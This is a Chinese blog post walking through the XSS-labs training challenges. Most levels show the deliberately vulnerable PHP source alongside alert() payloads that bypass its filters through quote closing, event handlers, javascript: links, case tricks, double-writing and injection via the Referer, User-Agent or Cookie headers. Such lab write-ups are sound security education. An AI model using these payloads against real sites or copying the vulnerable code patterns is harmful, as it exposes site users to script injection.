XSS-labs通关笔记
level 1
我们可以看到这里将name的参数值,插入到了
中,这里就是反射型xss,直接给name重新赋值。
服务器并没有进行任何的过滤,我们可以看看服务器端
服务器端源代码
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
//这里将name赋值给了str
echo "<h2 align=center>欢迎用户".$str."</h2>";
//这里直接将str插入了标签之间,导致反射型xss形成
**?>**
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
level 2
可以发现,通过get传参提交,经过服务器的动态处理之后又会将参数keyword的值插入到<h2> </h2>
标签之中以及
添加到<input>
标签中的value属性的值内。
我们尝试用上关的payload提交
可以看到,在<h2> </h2>
标签之中的恶意代码被编码了,其中<
和>
都被编码成了html字符实体,猜测在服务器端用htmlspecialchars()函数
对keyword参数的值进行了处理,接着往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回,但是问题是这里的js代码在标签属性值中,浏览器是无法执行的,既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。
要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了
用”>闭合前面的<input,再用//将后面的”注释掉。
payload:n3ym4r"><script>alert('xss')</script>//
服务器端源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//将get方式传递到服务器端的keyword参数的值赋给str变量
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
//用htmlspecialchars()函数
对变量str进行处理之后显示到网页上
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
//直接将变量值插入到了<input>
标签的value属性值中
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
level 3
简单测试,发现与第二关相比,这里将属性值这里也进行了htmlspecialchars()
函数处理。
这里,无法使用标签,因为标签都是带有<>符号的,就会被转义。但该函数不会转义单引号,可以采用事件闭合标签。
payload
' onclick='alert(1)
//当单击鼠标时运行脚本
' onmouseover='alert(1)
//当鼠标指针移至元素之上时运行脚本
源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
htmlspecialchars ()
将特殊字符转换为html实体
level 4
可以看到<>符号被替换成了空
但是事件不需要用到<>,所以直接用鼠标事件插入
payload
" onmouseover="alert(/xss/)
我们还是同样需要闭合他原来的语句。
源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
//将<>替换为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
level 5
源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
可以看到将<script替换为了<scr_ipt,同时也将on替换为了o_n,这使得我们无法通过<script>
标签或触发事件来执行js代码,那么我们可以换个标签,使用a标签的js伪协议实现href属性支持javascript:伪协议构造poc 产生一个链接
payload
"> <a href=javascript:alert('xss') > xss</a> //
level 6
源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
//限制<script恶意代码
$str3=str_replace("on","o_n",$str2);
//限制带on的事件
$str4=str_replace("src","sr_c",$str3);
//限制图片标签,<img src=111 onerror=alert(‘xss’)>
$str5=str_replace("data","da_ta",$str4);
//data:对字符编码的一种设定
$str6=str_replace("href","hr_ef",$str5);
//限制通过在href属性中插入js代码来点击执行
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
可以看到做了很多限制,但是都是判断的整个字符,我们可以大小写绕过
payload
"><sCrIpt>alert(/xss/)</ScRipt>
level 7
源代码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
//将script替换为空,以下同理
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
因为只会对整个字符串进行一次替换,所以我们可以使用双写绕过
payload
"><scscriptript>alert(1)</scrscriptipt>
level 8
源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
//在这里进行拼接
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
可以看到将大部分能用到的字符都做了破坏,看到友情链接那里,我们可以使用编码的方式绕过
payload
javascript:alert('xss')
level 9
源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
if(false===strpos($str7,’http://‘)) 判断是否包含http://然后返回,这里还是可以通过编码来绕过
payload
javascript:alert(1)//http://
level 10
可以看到有三个input标签,我们得测试出哪个表单可以突破
构造语句:?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
t_sort时,出现一个输入框,所以我们可以确定了
payload
?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
源代码
我们可以再看看源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
可以看到,我们的猜测没错,值得注意的是,这里会将<>替换为空,不能通过闭合input,引入新的标签来触发,只能通过事件来触发。
level 11
源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这一关卡和上面的一关非常的像多了一个input表单的信息,在服务器端还将请求头中的referer头的值赋给了str11这个变量,$_SERVER[‘HTTP_REFERER’] #链接到当前页面的前一页面的 URL 地址,也就是说这里可以做点文章。在将变量值中的<和>删除之后就会插入到t_ref这个标签的value属性值中。而上一关的t_sort标签虽然也能接收并显示参数值,但是这个参数值是要用htmlspecialchars()函数处理的。
这里,我们就可以抓包,将数据包中的referer改为我们的恶意代码
payload
referer:"type="text" onclick="alert('xss')
level 12
查看网页源码,我们发现,有一个和ua头一样的参数值,我们可以大胆猜测,这关测试点就在ua头,抓包改包试试
成功
payload
User-Agent: "type="text" onclick="alert('xss')
源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
将keyword参数的值赋给了变量str
将t_sot参数的值赋给了变量str00,
将请求中User-Agent头的值赋给了变量str11,。
将变量str11的值中存在的<和>删除之后直接插入到了t_ua标签的value
属性值中。
在这里变量str和str00的值都是需要被htmlspecialchars()函数处理过
level 13
13关猜测还是与数据头有关
可以看到,是将cookies里的值放入了t_cook中,修改为恶意代码
payload
Cookie: user=1" type="text" onclick="alert(1)"
源代码
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
level 14
修改iframe调用的文件来实现xss注入(但因为iframe调用的文件地址失效,无法进行测试
level 15
可以看到我们提交的src参数被插入到了<span>
标签的class
属性值中,但是前面还有ng-include
这样的字符。
ng-include
是angular js
中的东西,其作用相当于php的include函数。这里就是将1.gif
这个文件给包含进来。
ng-include相关知识点
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
构造函数
?src=’level1.php?name=‘
因为这里参数值算是一个地址,所以需要添加引号。
但是level1.php不是一个php文件吗?
这里解释一下,这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。
payload
?src='level1.php?name=<img src=1 onerror=alert(1)>'
源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
level 16
可以看到,我们输入的值被插到了
源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
可以看到,将参数值中的script替换成 ,将参数值中的空格也替换成 ,将参数值中的/符号替换成
与我们的猜想一致
绕过思路:可以用回车来将它们分开。
而且这里/符号也被编码了,所以我们需要的是一个不需要闭合的标签,比
如之前所用过的
回车可以用url编码%0a表示
payload
<img%0Asrc=1%0Aonerror=alert(1)>
level 17
可以看到提交的参数插入到了
尝试构造事件弹窗,可以看到这里的src没有用引号闭合,我们就不用管
payload
onclick=alert('xss')
onmousedown='alert(1)'
源代码
<?php
·
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
可以看到和我们的猜测一致
level 18
与17关一致
level 19
与之前一致,不过用了引号将src闭合,所以不能直接在后面添加语句,我们可以通过F12控制台添加
- 本文标题:XSS-labs通关笔记
- 本文作者:n3ym4r
- 创建时间:2020-04-07 21:55:14
- 本文链接:https://n3ym4r.github.io/2020/04/07/xss-labs通关笔记/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!